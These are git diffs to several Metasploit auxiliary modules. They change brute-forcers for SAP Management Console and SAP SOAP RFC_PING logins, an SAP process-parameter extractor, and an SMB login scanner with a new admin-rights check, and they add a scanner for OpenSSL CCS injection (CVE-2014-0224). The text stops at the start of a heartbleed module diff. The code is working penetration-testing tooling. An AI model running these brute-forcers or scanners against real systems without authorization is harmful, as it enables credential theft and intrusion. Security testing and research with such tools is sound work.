@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'SAP Management Console Brute Force',
|
||||
'Description' => %q{
|
||||
This module simply attempts to brute force the username |
|
||||
password for the SAP Management Console SOAP Interface. By
|
||||
setting the SAP SID value, a list of default SAP users can be
|
||||
tested without needing to set a USERNAME or USER_FILE value.
|
||||
The default usernames are stored in
|
||||
./data/wordlists/sap_common.txt (the value of SAP SID is
|
||||
automatically inserted into the username to replce <SAPSID>).
|
||||
This module simply attempts to brute force the username and
|
||||
password for the SAP Management Console SOAP Interface. If
|
||||
the SAP_SID value is set it will replace instances of <SAPSID>
|
||||
in any user/pass from any wordlist.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
@ -36,49 +33,43 @@ class Metasploit4 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
|
||||
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(rhost)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
print_error("#{peer} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['SAP_SID'] != ''
|
||||
if !datastore['USER_FILE'].nil?
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
|
||||
elsif !datastore['USERPASS_FILE'].nil?
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
|
||||
else
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
|
||||
datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt'
|
||||
end
|
||||
end
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
enum_user(user,pass)
|
||||
enum_user(user,pass,uri)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def enum_user(user, pass)
|
||||
def enum_user(user, pass, uri)
|
||||
|
||||
# Replace placeholder with SAP SID, if present
|
||||
if datastore['SAP_SID'] != ''
|
||||
if datastore['SAP_SID']
|
||||
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
|
||||
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
|
||||
print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
|
@ -103,7 +94,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
|
@ -113,9 +104,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
'Authorization' => 'Basic ' + user_pass
|
||||
}
|
||||
}, 45)
|
||||
})
|
||||
|
||||
return if not res
|
||||
return unless res
|
||||
|
||||
if (res.code != 500 and res.code != 200)
|
||||
return
|
||||
|
@ -136,17 +127,17 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect")
|
||||
print_error("#{peer} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'")
|
||||
print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
|
||||
|
||||
if permission
|
||||
vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls")
|
||||
vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
|
||||
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
|
@ -160,10 +151,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
)
|
||||
return
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
|
||||
return
|
||||
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('MATCH', [false, 'Display matches e.g login/', '']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
|
@ -38,16 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if not res
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
getprocparam(ip)
|
||||
end
|
||||
|
||||
|
@ -75,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
|
@ -84,9 +74,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 30)
|
||||
})
|
||||
|
||||
if not res
|
||||
unless res
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
@ -100,7 +90,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
body = res.body
|
||||
success = true
|
||||
end
|
||||
elsif res.code == 500
|
||||
elsif res
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = $1.strip
|
||||
|
@ -116,16 +106,16 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if success
|
||||
#Only stoor loot if MATCH is not selected
|
||||
if datastore['MATCH'].empty?
|
||||
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot")
|
||||
store_loot(
|
||||
# Only store loot if MATCH is not selected
|
||||
if datastore['MATCH'].blank?
|
||||
loot = store_loot(
|
||||
"sap.getprocessparameters",
|
||||
"text/xml",
|
||||
rhost,
|
||||
res.body,
|
||||
".xml"
|
||||
)
|
||||
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to #{loot}")
|
||||
else
|
||||
name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n'])
|
||||
print_status("[SAP] Regex match selected, skipping loot storage")
|
||||
|
|
|
@ -252,4 +252,4 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -25,13 +25,10 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer',
|
||||
'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer',
|
||||
'Description' => %q{
|
||||
This module attempts to brute force SAP username and passwords through the
|
||||
/sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
|
||||
tested without needing to set a CLIENT. Common/Default user and password
|
||||
combinations can be tested just setting DEFAULT_CRED variable to true. These
|
||||
default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
|
||||
/sap/bc/soap/rfc SOAP service, using RFC_PING function.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
@ -47,34 +44,32 @@ class Metasploit4 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
|
||||
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
|
||||
OptString.new('CLIENT', [true, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']),
|
||||
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if datastore['CLIENT'].nil?
|
||||
print_status("Using default SAP client list")
|
||||
client = ['000', '001', '066']
|
||||
def run_host(rhost)
|
||||
client_list = []
|
||||
if datastore['CLIENT'] =~ /^\d{3},/
|
||||
client_list = datastore['CLIENT'].split(/,/)
|
||||
print_status("Brute forcing clients #{datastore['CLIENT']}")
|
||||
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
|
||||
array = datastore['CLIENT'].split(/-/)
|
||||
client_list = (array.at(0)..array.at(1)).to_a
|
||||
print_status("Brute forcing clients #{datastore['CLIENT']}")
|
||||
elsif datastore['CLIENT'] =~ /^\d{3}\z/
|
||||
client_list.push(datastore['CLIENT'])
|
||||
print_status("Brute forcing client #{datastore['CLIENT']}")
|
||||
else
|
||||
client = []
|
||||
if datastore['CLIENT'] =~ /^\d{3},/
|
||||
client = datastore['CLIENT'].split(/,/)
|
||||
print_status("Brute forcing clients #{datastore['CLIENT']}")
|
||||
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
|
||||
array = datastore['CLIENT'].split(/-/)
|
||||
client = (array.at(0)..array.at(1)).to_a
|
||||
print_status("Brute forcing clients #{datastore['CLIENT']}")
|
||||
elsif datastore['CLIENT'] =~ /^\d{3}\z/
|
||||
client.push(datastore['CLIENT'])
|
||||
print_status("Brute forcing client #{datastore['CLIENT']}")
|
||||
else
|
||||
print_status("Invalid CLIENT - using default SAP client list instead")
|
||||
client = ['000', '001', '066']
|
||||
end
|
||||
fail_with(Failure::BadConfig, "Invalid CLIENT")
|
||||
end
|
||||
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[SAP] Credentials",
|
||||
|
||||
saptbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[SAP] #{peer} Credentials",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
|
@ -86,29 +81,29 @@ class Metasploit4 < Msf::Auxiliary
|
|||
"user",
|
||||
"pass"
|
||||
])
|
||||
if datastore['DEFAULT_CRED']
|
||||
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
|
||||
credentials.each do |u, p|
|
||||
client.each do |cli|
|
||||
success = bruteforce(u, p, cli)
|
||||
if success
|
||||
saptbl << [ rhost, rport, cli, u, p]
|
||||
end
|
||||
|
||||
client_list.each do |c|
|
||||
print_status("#{peer} [SAP] Trying client: #{c}")
|
||||
each_user_pass do |u, p|
|
||||
vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}")
|
||||
begin
|
||||
success = bruteforce(u, p, c)
|
||||
saptbl << [ rhost, rport, c, u, p] if success
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} [SAP] Not responding")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
each_user_pass do |u, p|
|
||||
client.each do |cli|
|
||||
success = bruteforce(u, p, cli)
|
||||
if success
|
||||
saptbl << [ rhost, rport, cli, u, p]
|
||||
end
|
||||
end
|
||||
|
||||
if saptbl.rows.count > 0
|
||||
print_line saptbl.to_s
|
||||
end
|
||||
print(saptbl.to_s)
|
||||
end
|
||||
|
||||
def bruteforce(username,password,client)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
data << '<env:Body>'
|
||||
|
@ -116,39 +111,40 @@ class Metasploit4 < Msf::Auxiliary
|
|||
data << '</n1:RFC_PING>'
|
||||
data << '</env:Body>'
|
||||
data << '</env:Envelope>'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(username, password),
|
||||
'headers' => {
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'sap-client' => client,
|
||||
'sap-language' => 'EN'
|
||||
},
|
||||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(username, password),
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => client,
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "sap",
|
||||
:proto => "tcp",
|
||||
:user => "#{username}",
|
||||
:pass => "#{password}",
|
||||
:proof => "SAP Client: #{client}",
|
||||
:active => true
|
||||
)
|
||||
return true
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
|
||||
return false
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?('RFC_PING')
|
||||
print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "sap",
|
||||
:proto => "tcp",
|
||||
:user => username,
|
||||
:pass => password,
|
||||
:proof => "SAP Client: #{client}",
|
||||
:active => true
|
||||
)
|
||||
return true
|
||||
end
|
||||
return false
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -204,4 +204,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,7 +32,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'tebo <tebo [at] attackresearch [dot] com>', # Original
|
||||
'Ben Campbell' # Refactoring
|
||||
'Ben Campbell', # Refactoring
|
||||
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', # admin check
|
||||
'Tom Sellers <tom <at> fadedcode.net>' # admin check/bug fix
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -69,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('SMBPass', [ false, "SMB Password" ]),
|
||||
OptString.new('SMBUser', [ false, "SMB Username" ]),
|
||||
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
||||
OptBool.new('CHECK_ADMIN', [ false, "Check for Admin rights", false]),
|
||||
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
|
||||
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false])
|
||||
], self.class)
|
||||
|
@ -124,6 +127,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
status_code = 'STATUS_SUCCESS'
|
||||
|
||||
if datastore['CHECK_ADMIN']
|
||||
status_code = :not_admin
|
||||
# Drop the existing connection to IPC$ in order to connect to admin$
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
begin
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\admin$")
|
||||
status_code = :admin_access
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\admin$")
|
||||
rescue
|
||||
status_code = :not_admin
|
||||
ensure
|
||||
begin
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
rescue ::Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
status_code = e.get_error(e.error_code)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
||||
|
@ -187,7 +209,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def valid_credentials?(status)
|
||||
return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
|
||||
|
||||
case status
|
||||
when 'STATUS_SUCCESS', :admin_access, :not_admin
|
||||
return true
|
||||
when *@correct_credentials_status_codes
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def try_user_pass(domain, user, pass)
|
||||
|
@ -214,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%')
|
||||
|
||||
case status
|
||||
when 'STATUS_SUCCESS'
|
||||
when 'STATUS_SUCCESS', :admin_access, :not_admin
|
||||
# Auth user indicates if the login was as a guest or not
|
||||
if(simple.client.auth_user)
|
||||
print_good(output_message % "SUCCESSFUL LOGIN")
|
||||
|
@ -275,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def report_creds(domain,user,pass,active)
|
||||
login_name = ""
|
||||
|
||||
if accepts_bogus_domains?(user,pass,rhost)
|
||||
if accepts_bogus_domains?(user,pass,rhost) || domain.blank?
|
||||
login_name = user
|
||||
else
|
||||
login_name = "#{domain}\\#{user}"
|
||||
|
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
CIPHER_SUITES = [
|
||||
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
|
||||
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
|
||||
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
|
||||
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
|
||||
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
|
||||
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
|
||||
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
|
||||
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
|
||||
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
|
||||
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
|
||||
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
|
||||
0x0005, # TLS_RSA_WITH_RC4_128_SHA
|
||||
0x0004, # TLS_RSA_WITH_RC4_128_MD5
|
||||
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
|
||||
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
|
||||
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
|
||||
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
|
||||
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
|
||||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
CCS_RECORD_TYPE = 0x14
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
'1.1' => 0x0302,
|
||||
'1.2' => 0x0303
|
||||
}
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
|
||||
'Description' => %q{
|
||||
This module checks for the OpenSSL ChageCipherSpec (CCS)
|
||||
Injection vulnerability. The problem exists in the handling of early
|
||||
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
|
||||
them, while later implementations do not. If successful, an attacker can leverage this
|
||||
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
|
||||
between a client and server. This issue was first reported in early June, 2014.
|
||||
},
|
||||
'Author' => [
|
||||
'Masashi Kikuchi', # Vulnerability discovery
|
||||
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
|
||||
'juan vazquez' # Msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0224'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
|
||||
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
|
||||
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 5 2014',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ccs_injection
|
||||
end
|
||||
|
||||
def ccs_injection
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending CCS...")
|
||||
sock.put(ccs)
|
||||
alert = sock.get_once(-1, response_timeout)
|
||||
if alert.blank?
|
||||
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
|
||||
report
|
||||
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
|
||||
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
|
||||
elsif alert
|
||||
vprint_warning("#{peer} - Unexpected response.")
|
||||
end
|
||||
end
|
||||
|
||||
def report
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully detected CCS injection"
|
||||
})
|
||||
end
|
||||
|
||||
def ccs
|
||||
payload = "\x01" # Change Cipher Spec Message
|
||||
|
||||
ssl_record(CCS_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
server_hello = sock.get(response_timeout)
|
||||
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -3,6 +3,12 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
|
||||
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
|
||||
# but there were too many errors
|
||||
# TODO: Parse the rest of the server responses and return a hash with the data
|
||||
# TODO: Extract the relevant functions and include them in the framework
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
